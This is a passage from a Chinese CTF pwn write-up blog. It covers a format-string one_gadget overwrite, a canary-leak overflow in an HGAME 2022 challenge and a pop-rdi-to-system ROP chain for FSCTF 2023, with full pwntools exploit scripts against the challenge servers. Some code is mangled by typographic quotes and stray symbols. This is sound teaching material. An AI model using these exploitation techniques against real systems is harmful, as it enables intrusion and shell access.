stack_addr=int(p.recv(12),16)
location_addr=stack_addr-104
leak("location_addr",location_addr)
# one_gadget
one=[0x50a47,0xebc81,0xebc85,0xebc88,0xebce2,0xebd3f,0xebd43]
one_gadget=libc_base+one[0]
leak("one_gadget",one_gadget)
'''
location写的位置
loc_content写的内容
a1 是三链位置(主要是修改第三链的内容)
a2 是第二链位置
'''
touchfile1
出题人:xsh
def double_byte_attack(a1,a2,location_addr,content):
content_1 = content & 0xffff # 后两位
content_2 = (content >> 16)& 0xffff # 往前推俩
content_3 = (content >> 32)& 0xffff # 再往前推两位
content_4 = (content >> 48)& 0xffff # 最前面两位
leak("content_1",content_1)
leak("content_2",content_2)
leak("content_3",content_3)
leak("content_4",content_4)
location_1= location_addr & 0xffff
location_2= (location_addr + 2)& 0xffff
location_3= (location_addr + 4)& 0xffff
location_4= (location_addr + 6)& 0xffff
leak("location_1",location_1)
leak("location_2",location_2)
leak("location_3",location_3)
leak("location_4",location_4)
location=[location_1,location_2,location_3,location_4]
loc_content=[content_1,content_2,content_3,content_4]
for i in range(3):
# 打第八位为rbp_16-8 也就是改成了rbp
payload=b"%" + str(location[i]).encode("utf-8") +
b"c%"+str(a1).encode("utf-8")+b"$hn\x00"
sa("Go get some fries on the pier",payload)
# 往第十个位置开始写one_gadget
payload=b"%" + str(loc_content[i]).encode("utf-8") +
b"c%"+str(a2).encode("utf-8")+b"$hn\x00"
sa("Go get some fries on the pier",payload)
double_byte_attack(24,34,location_addr,one_gadget)
log.success("Finshed!!!! That's all")
sa("Go get some fries on the pier",b'Pwn!!\x00')
it()

上面这是官方题解其实写的有点啰嗦了,不过我的题解由于虚拟机崩了所以也没留下脚本了

[HGAME 2022 week1]test your gdb

思路:

先看图
 

NSSIMAGE


这里也不知道它为什么要再创建一个新的线程来启动work函数,不必理会,接着看下面的
 

NSSIMAGE


这里的s2数组经过了加密处理并且加密的原理十分复杂,不过我们不用去强解它,可以看到加密后的s2数组的位置可以确定,那么我们在gdb里面动调即可知道s2。
 

NSSIMAGE


然后就可以获得canary和溢出点,

EXP:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
if©:
gdb.attach(p, c)
else:
gdb.attach§
pause()
def get_sb() : return libc_base + libc.sym[‘system’], libc_base + next(libc.search(b’/bin/sh\x00’))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b’\xf7’)[-4:].ljust(4,b’\x00’))
l64 = lambda :u64(p.recvuntil(b’\x7f’)[-6:].ljust(8,b’\x00’))
uu32 = lambda :u32(p.recv(4).ljust(4,b’\x00’))
uu64 = lambda :u64(p.recv(6).ljust(8,b’\x00’))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success(‘%s -> 0x%x’ % (s, num))
#-----------------------------------------------------------------------------------------

context(os=‘linux’, arch=‘amd64’, log_level=‘debug’)
#p = process(‘./service’)
p=remote(“node5.anna.nssctf.cn”,20765)
elf = ELF(‘./service’)
#debug()

libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)
s(p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9))
p.recvline()
p.recvline()
r(25)

canary=u64(p.recv(7).rjust(8,b’\x00’))
payload=b’a’*0x18+p64(canary)+b’a’*8+p64(0x40125E)
sl(payload)
inter()

[FSCTF 2023]rdi

思路:

题目里面有以sh结尾的语句,可以直接利用
如果溢出指令不够使用ret栈对齐的话,不妨试试直接跳转到call system

图我就不给你了。

Exp:

from pwn import *
#p=process(“./rdi”)
p=remote(“node4.anna.nssctf.cn”,28669)
elf=ELF(“./rdi”)
libc=ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
rdi=0x00000000004007d3
sh=0x000000000040080d
ret=0x0000000000400546
p.recv()
#gdb.attach§
payload=b’a’*0x88+p64(rdi)+p64(sh)+p64(0x4006FB)
p.send(payload)

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值